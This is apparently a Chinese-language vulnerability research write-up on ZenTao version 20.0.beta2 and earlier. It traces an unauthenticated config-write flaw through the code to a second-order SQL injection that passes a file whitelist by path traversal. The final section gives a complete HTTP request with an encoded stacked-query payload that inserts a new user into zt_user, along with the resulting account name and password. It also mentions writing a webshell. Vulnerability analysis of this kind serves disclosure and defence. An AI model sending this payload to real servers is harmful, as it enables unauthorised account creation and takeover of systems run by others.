一.基础信息

time:	2024.10.26
测试版本Version: 20.0.beta2
php: 7.3.4
影响范围:	Version<=20.0.beta2
POST /api.php?m=my&f=preference&kanbanID=1&regionID=2&groupID=3&columnI=4&selectedProductID=5 HTTP/1.1
Host: 127.0.0.1
User-Agent: easysoft/xuan.im
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: pma_lang=zh_CN; lang=zh-cn; vision=rnd; device=desktop; theme=default; hideMenu=false; zentaosid=aaaa
Upgrade-Insecure-Requests: 1
REFERER: 123456
SEC-FETCH-DEST: iframe
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

vision=xinyiGEGE521

二.审计过程

2.1: 对象任意添加属性

public function preference($showTip = 'true')
{
    $this->loadModel('setting');

    if($_POST)
    {
        foreach($_POST as $key => $value) $this->setting->setItem("{$this->app->user->account}.common.$key", $value);

        $this->setting->setItem("{$this->app->user->account}.common.preferenceSetted", 1);

        return $this->send(array('result' => 'success', 'message' => $this->lang->saveSuccess, 'closeModal' => true));
    }

    $this->view->title      = $this->lang->my->common . $this->lang->hyphen . $this->lang->my->preference;
    $this->view->showTip    = $showTip;

    $this->view->URSRList         = $this->loadModel('custom')->getURSRPairs();
    $this->view->URSR             = $this->setting->getURSR();
    $this->view->programLink      = isset($this->config->programLink)   ? $this->config->programLink   : 'program-browse';
    $this->view->productLink      = isset($this->config->productLink)   ? $this->config->productLink   : 'product-all';
    $this->view->projectLink      = isset($this->config->projectLink)   ? $this->config->projectLink   : 'project-browse';
    $this->view->executionLink    = isset($this->config->executionLink) ? $this->config->executionLink : 'execution-task';
    $this->view->preferenceSetted = isset($this->config->preferenceSetted) ? true : false;

    $this->display();
}
//主要看第七行setItem
public function setItem($path, $value = '')
{
    $item = $this->parseItemPath($path);
    if(empty($item)) return false;

    $item->value = strval($value);
    $this->dao->replace(TABLE_CONFIG)->data($item)->exec();

    return !dao::isError();
}
//30行进行分割,进去看看
public function parseItemPath($path)
{
    /* Determine vision of config item. */
    $pathVision = explode('@', $path);
    $vision     = isset($pathVision[1]) ? $pathVision[1] : '';
    $path       = $pathVision[0];

    /* fix bug when account has dot. */
    $account = isset($this->app->user->account) ? $this->app->user->account : '';
    $replace = false;
    if($account and strpos($path, $account) === 0)
    {
        $replace = true;
        $path    = preg_replace("/^{$account}/", 'account', $path);
    }

    $level   = substr_count($path, '.');
    $section = '';

    if($level <= 1) return false;
    if($level == 2) list($owner, $module, $key) = explode('.', $path);
    if($level == 3) list($owner, $module, $section, $key) = explode('.', $path);
    if($replace) $owner = $account;

    $item = new stdclass();
    $item->owner   = $owner;
    $item->module  = $module;
    $item->section = $section;
    $item->key     = $key;
    if(!empty($vision)) $item->vision = $vision;

    return $item;
}
//走到五十九行返回这个对象,34行代码代码
public function replace($table)
{
    $this->setMode('raw');
    $this->setMethod('replace');
    $this->sqlobj = sql::replace($table);
    $this->setTable($table);
    return $this;
}
//里面会进行PDO预编译
public function data($data, $skipFields = '')
{
    $data = (object) $data;
    if($skipFields) $this->skipFields = ',' . str_replace(' ', '', $skipFields) . ',';

    if($this->method != 'insert')
    {
        foreach($data as $field => $value)
        {
            if(!preg_match('|^\w+$|', $field))
            {
                unset($data->$field);
                continue;
            }
            if(strpos($this->skipFields, ",$field,") !== false) continue;
            if($field == 'id' and $this->method == 'update') continue;    

            $this->sql .= "`$field` = " . $this->quote($value) . ',';
        }
    }

    $this->data = $data;
    $this->sql  = rtrim($this->sql, ',');    
    return $this;
}
//99行
public function dbQuery($query)
{
    if(!$this->dbh) return false;
    if($this->slaveDBH && strtolower(substr($query, 0, 6)) == 'select') return $this->slaveDBH->query($query);

    return $this->dbh->query($query);
}
public function quote($value)
{
    if(is_null($value)) return 'NULL';

    if($this->magicQuote) $value = stripslashes($value);
    return $this->dbh->quote((string)$value);
}
}
public function quote($string, $parameter_type = PDO::PARAM_STR)
{
    return $this->pdo->quote($string, $parameter_type);
}
public function exec($sql)
{
    $sql = $this->formatSQL($sql);
    if(!$sql) return true;

    if(!empty($this->config->enableSqlite)) $this->pushSqliteQueue($sql);

    try
    {
        if(class_exists('dao')) dao::$querys[] = "[$this->flag] " . dao::processKeywords($sql);
        return $this->pdo->exec($sql);
    }
    catch(PDOException $e)
    {
        $this->sqlError($e);
    }
}
//REPLACE 插入数据到zt_config表中,这个表怎么来的TABLE_CONFIG全局搜索一下这个常量就知道了。
看到这里其实是没有任何问题的,但是不要忽略这里是未授权插入数据到数据库的,我们有的思路就只能联想到二次注入,看看哪里用到了这个表,全局搜索TABLE_CONFIG,这个常量。

这里不得不吐槽ide的搜索功能,在我挖的时候前几个就发现了,在写这个文章的时候再找找不到,弄了半天重新搜一下又出现了。

这里主要查找select进行查询的,之后查看getSysAndPersonalConfig是否被调用使用了,找到两个,先看第2个,为啥不看第一个,总觉得第一个不会运气那么好,查看之后确实有两个用到了,但是都不是执行这个类的,所以返回去看看第一个,loadConfigFromDB,再去看这个的时候也就是上面提到的两个接着就是进入入口文件了。

回到最初查询之后会进行遍历内容,先看一下图三中数据库内容,

$config[$record->owner]->{$record->module}[] = $record;

主要这个代码,我们能控制的只有key value,$record->owner插入默认是空,$record->module common

$config得到两个对象,一个是system 一个是空,空是哪里来的就是我们插入的时候$record->owner是空。

看第二张图片,59行得到$this->config->personal,$account是空读的session缓存内容,

65行mergeConfig代码如下,$item->section空执行else

$config2Merge->{$item->key} = $item->value;

看到这里呢就会很明显的发现,我们可以控制$config这个对象实例的任意属性,现在就可以搜索哪里用到了

这个对象下的任意属性。

public  function mergeConfig($dbConfig, $moduleName = 'common')
{
    global $config;

    /* 如果没有设置本模块配置,则首先进行初始化。Init the $config->$moduleName if not set.*/
    if($moduleName != 'common' and !isset($config->$moduleName)) $config->$moduleName = new stdclass();

    $config2Merge = $config;
    if($moduleName != 'common') $config2Merge = $config->$moduleName;

    foreach($dbConfig as $item)
    {
        if($item->section)
        {
            if(!isset($config2Merge->{$item->section})) $config2Merge->{$item->section} = new stdclass();
            if(is_object($config2Merge->{$item->section}))
            {
                $config2Merge->{$item->section}->{$item->key} = $item->value;
            }
        }
        else
        {
            $config2Merge->{$item->key} = $item->value;
        }
    }
}

2.2: 二次注入

$config搜索的话实在太多了,这里搜索select但是上面也讲了是存在PDO的,在看代码的过程中看到了

$vision  = $this->dbQuery("SELECT * FROM " . TABLE_CONFIG . " WHERE owner = $account AND `key` = 'vision' LIMIT 1")->fetch();

dbQuery是没有进行预编译的,哦对上面代码不存在注入哈,$account 可以控制但是转成字符串了,找的时候看到了这个,直接搜dbQuery也就十几个挨个看一下,找到下面图一。

数据库中随便修改$this->config->vision,访问直接报错了图二,报错信息说类已经被定义了,去找了这个类发现在同目录下rnd文件下,并且把$this->config->vision内容创建文件夹了,这里看了半天用调试看看啥情况吧,看图四,创建之后进行包含的时候因为类extcommonModel已经定义了,然后报错,看第4张图片

self::$includedFiles存在白名单,其中就有rnd目录,但是通过../../也不行呀不要忘记第一行的

realpath,那就好办了      随便输入/../rnd,      访问确实正常也执行sql语句,dbQuery最后执行的也就是

$this->pdo->query,我们要知道exec和query都是可以执行多条sql语句的,这里可以直接写webshell也可以添加管理进入后台后面路径也好办直接-- 进行注释。

三.漏洞利用

3.1: 添加用户

POST /api.php?m=my&f=preference&kanbanID=1&regionID=10&groupID=10&columnI=10&selectedProductID=10 HTTP/1.1
Host: 127.0.0.1
User-Agent: easysoft/xuan.im
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 197

vision=%27%3Binsert+into+zt_user+%28type%2Caccount%2Cpassword%2Crealname%29+value%28%27inside%27%2C%27xinyi%27%2C%27fd572333ef79a69961a8432330204b8c%27%2C%27xinyi%27%29%3B%2d%2d%20%2f%2e%2e%2f%72%6e%64
账号xinyi
密码xinyiGEGE521

3.2:getshell

getshell就不写了因为后台shell一堆而且版本不同也有些差异。